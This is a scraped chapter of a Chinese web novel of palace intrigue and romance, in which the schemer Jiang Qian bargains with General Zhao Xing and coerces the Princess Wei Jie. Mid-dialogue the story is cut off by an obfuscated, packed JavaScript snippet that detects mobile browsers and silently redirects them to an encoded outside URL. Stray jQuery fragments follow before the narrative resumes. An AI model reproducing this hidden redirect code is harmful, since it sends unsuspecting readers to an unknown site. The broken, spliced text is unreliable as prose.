默认冷灰
24号文字
方正启体

144. 蹲伏

作者:为衣山人本书字数:K更新时间:
    赵醒心道,这是费尽心思为他人做嫁妆,吃力不讨好,还盼着给旁人做打手,果真可笑。他舒展眉头,道:“你倒是给他备了份绝无仅有的贺礼。”


    “为他做贺,同样也是为将军做贺,”江潜此时开口道,“若能因此封官进爵,讨个同褚殿卿般的爵位王侯,从此远庙堂,安业朔北,何乐而不为?”


    言栀吃准了赵醒心思方才敢大放厥词,便料定了他的野心仅仅朔北三州,嘴上如何谈及大宝,却也只为了那三州安定。“如此,也算是一劳永逸了?”言栀说着笑睨了江潜一眼,余光却时而飘忽至赵醒身周。


    赵醒几乎失笑,在沉静夜幕中哑然,许久,他颔首答应:“便看在往日的情分......这个忙我帮了,只是我如今无兵无权,当真只靠这一身武学为你开路?禁中军可不是吃白饭的。”


    他与自己能有什么情分?无非是找个托词罢了,言栀心里了如明镜,道:“从前将军是做什么的,现如今便还是做什么,免得将军同手下人皆不适应,如何?”


    “你是说......折冲府?”赵醒微眯双眼,思忖再三,“这倒也是个法子,可恭叔霖他......”


    “将军只管去要,其他的无需考虑。”江潜说道。


    赵醒注视着江潜,他正牵引着言栀起身,转身临走前随意向他一瞥,却让赵醒冒起冷汗,背后冰凉。


    堂堂三朝守将,恭叔霖一向是严守中立,哪方势力皆不掺和,却也被这二人说动了心。


    言栀出了屋子,转身回到书房前,双肩微垂,长长松了口气,又想到江潜方才动作,侧仰起头问:“你方才瞪他做什么?”


    “我没有瞪他。”江潜佯装不知,摆了摆手,“我没有,你看错了。”


    “哦,”言栀垂下头,瞧着屋内烧起不久的碳炉,火星正往外跳,“那你瞧他做什么?”


    “我没有瞧他。”江潜斩钉截铁。


    “少装蒜,快说。”言栀有些不耐烦,仰首对上他的目光。


    江潜阖眸暗叹,无奈道:“他说你们有往日情分,我不开心。”


    言栀闻言耳廓微红,转身回到书房,低声道:“莫名其妙,你吃什么飞醋?毫无目的。”


    江潜却置若罔闻,从后抱起疲惫至极的言栀,像是提着软酪般轻松,言栀双脚离了地,不吵不闹只叹气,忽地就回到了榻上。


    他被江潜攥着手腕,侧过脸不去看他,“你既不办事,又何必抱我上榻?”


    借着黑暗中的一团烛光,江潜正巧看清言栀涨红的脸,沉沉笑道:“不办事便不愿与我共枕眠,你是喜欢我,还是喜欢我办的事?”


    言栀支支吾吾说不出话来,索性皱眉闭上了眼,权当做眼不见为净。


    “好了,我不闹你,将药吃了好安睡。”江潜松了手,从一旁柜中取来药瓶,言栀纳闷着为何伤好了还要吃药,却也懒得再问,任江潜将温水递给自己,吞了药丸。


    “好苦......”言栀抿了抿嘴,扑回榻上卷被子玩。


    而江潜却安抚似的揉了揉他的脸,心里却算着血蛊在体内的日子已经过去了多久。


    翌日夜,魏邤听闻了游走于北方的探子来报,砸了碗碟,火急火燎进了宫,长姐受父皇唾弃,仅仅一个魏阶的死不足挂齿,但若要死的是长枪封疆手握兵权的长公主,魏阶便是自己血浓于水的姐姐,他总是触怒龙颜也要相助的长姐。


    魏邤跪在寝殿外的长阶上不过半个时辰,冯诠便招了招手,让他进去说话。


    徐贵妃依靠在门柱后,金钗斜插发髻中,魏煦昭同她玩闹着,漫不经心听着魏邤的种种诉求,抬了抬手指以示答应。


    “父皇?”魏邤唤道,瞧着魏煦昭比以往更为清瘦,两颊深陷,面色苍白,不禁揪起心来。


    魏煦昭只盯着贵妃不挪眼,指了指案上的玉玺,道:“自己写诏书,自己印,要做什么不必问寡人,这江山迟早是你的。”


    魏邤心头一震,欢愉几近从嗓子眼溢出,跪下叩首,这便写释罪诏书去了,后犹加了句“命长公主阶速速归京,阖家团圆。”


    “这般写......怕是不合规矩。”冯诠在一旁低劝。


    魏邤斜乜了他一眼,道:“什么规矩不规矩,我们本就是一家人,快差人送去朔北。”


    诏书送得极快,五日抵朔北,跑死了三匹马,魏阶的手下代其接过诏书,又转而向羌州去,联系上了潜逃羌州的魏阶。


    魏阶稀里糊涂拿着圣旨,吩咐几句,便毅然决然南下了。


    待她回到裕都,又是四日,距朔北军向齐宣战已然十四日,距戾王魏籍三月初七的生辰,也只剩下十四日。


    进宫面圣,虽官复原职,随之而来的却有另一道旨意,另其放下兵戈,待嫁府中。魏阶深深望了眼珠帘背后的父皇,以及他身旁自己再熟悉不过的母妃,却觉得陌生至极,令人毛骨悚然。


    魏阶骑着马,魂不守舍走在官道上,马蹄向公主府的方向踏,突然瞧见前头一匹乌云踏雪,自己忙追了上去。


    “江丞相,许久未见。”魏阶握着腰上刀柄,笑着来到江潜身旁。


    江潜却笑道:“长公主记错了,下官早已不是丞相。”


    “当日追杀之人,你可寻到眉目了?”魏阶自顾说着,放慢马蹄。


    四周皆是矮丘,一条云溶江横贯于此,此地偏僻至极,魏阶环顾四周,知晓了是他刻意引诱自己至此。


    “尚未查到,刺客狡猾,未寻到人,又如何寻得见他背后主谋?”江潜攥紧缰绳,逼马驻足停下。


    “不必着急,如今天下动荡不安,有的是能够抓住狐狸尾巴的机会。”魏阶道。


    江潜笑声冷峭:“是啊,前不久还听闻朔北军与朝廷宣战,几个主将至今未有所动作,甚至连南下的消息也不曾听闻,当真是大争之世。”


    “朔北军正与草原异族纠缠不休,呼延灼带着残部四处逃窜,你真当朔北军是宣而不战?”魏阶同样尖刻回应。


    “朔北军勾结呼延臻本就是死罪一条,现如今游走边境,倒也不是办法。”江潜顺势说道。


    魏阶顿了片刻,语气不容侵犯:“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061227|156964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此事就不需江大人费心了,本宫还有一事求教。”


    “请说。”


    魏阶问:“本宫今日上朝未见洛尚书,询问旁人皆含糊其辞,冯内侍也对此缄默,只道许久未见她,陛下也未曾过问,方才路过洛府也见大门紧闭,不知江大人可有什么消息?”


    江潜促狭笑道:“下官以为殿下会先问贵妃之事,却不想在殿下心中,终究还是洛大人更胜一筹?”


    魏阶神色晦暗,眼眸深邃,“母妃已死多年,如今因何复生本宫不得而知,但见其举手投足皆不及当年风采,想必定是妖邪作祟,父皇是她的枕边人,岂会不知?只不过装傻充愣罢了。”


    江潜沉声道:“犹记得下官初次登车揽辔赴任之时,便提醒戾王与殿下,要早些让贵妃入土为安才是。”


    “如今再说又有何用?本宫只问一句,洛尘笑何在?”魏阶面露不耐。


    江潜慢条斯理地取下腰间玉佩把玩,正是魏煦昭赏给言栀的那一块蟒纹佩,“她大抵是失踪了吧。”


    魏阶心中一紧,道:“这是父皇的玉佩,怎会在你这......”


    江潜温言道:“下官请殿下帮个忙,不知殿下是否有兴趣?”


    魏阶执着缰绳,脸上光华瞬息黯淡,不久才道:“江大人不妨直言。”


    江潜瞧了一眼天色,道:“下官之愿,不过是想殿下能让陛下享天伦之乐,儿女绕膝,与妻白首共生死,岂不美哉?天子之愿,便是臣心中所愿。”


    魏阶拉动缰绳,马蹄乱踏,“你是要魏籍出长信?此事非同小可,本宫劝你暂且搁置,另寻时机。”


    江潜抛了几下玉佩,又收入囊中,柔声道:“箭在弦上不得不发,若想见尚书,还请长公主替下官办件事,裕都下的篁里镇驻扎着一支军队,从前陛下在此练过兵,但多年过去早已遗忘,请长公主请旨陛下,携雍王南下练兵。”


    “原是在此等着本宫......你果真是忠心耿耿,为了魏籍不惜危身奉主?他妇人之仁,优柔寡断,这才落得今日田地,认他为主,可值得?”魏阶诮嫌道。


    江潜紧攥缰绳,乌云踏雪不耐烦,试图扬蹄。


    “我早已认主,但绝非魏籍,此番也是为了了却他心中所愿。”江潜朝着云溶江对岸望去,那是尚善坊的方向,他侧首再次提醒:“长公主可要记得,若违了约定,下官可不知尚书安危如何。”


    未等回应,江潜扬长而去,穿过赭丘时风正敲着竹林,沙沙作响,言栀抱着猫儿蹲在石板桥前抔水玩,一抬头,马打了个响鼻,江潜跃下马吻在他的眉心。


    言栀弹了弹指尖,水珠跃至江潜眼睫。


    “都安排妥当了?”言栀问,软酪向江潜伸出爪子。


    江潜笑着颔首,“事无巨细都已妥当,怎么样,主人?”


    言栀打了个激灵,软酪扑出怀抱跑回院子,他抱着双臂望他,“你就是如此,每隔几日便要犯浑乱说话,莫名其妙。”说着也转身向后远走,江潜拴好了马,也赶紧跑进去追他。


    春日惠风和畅,日头正好。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)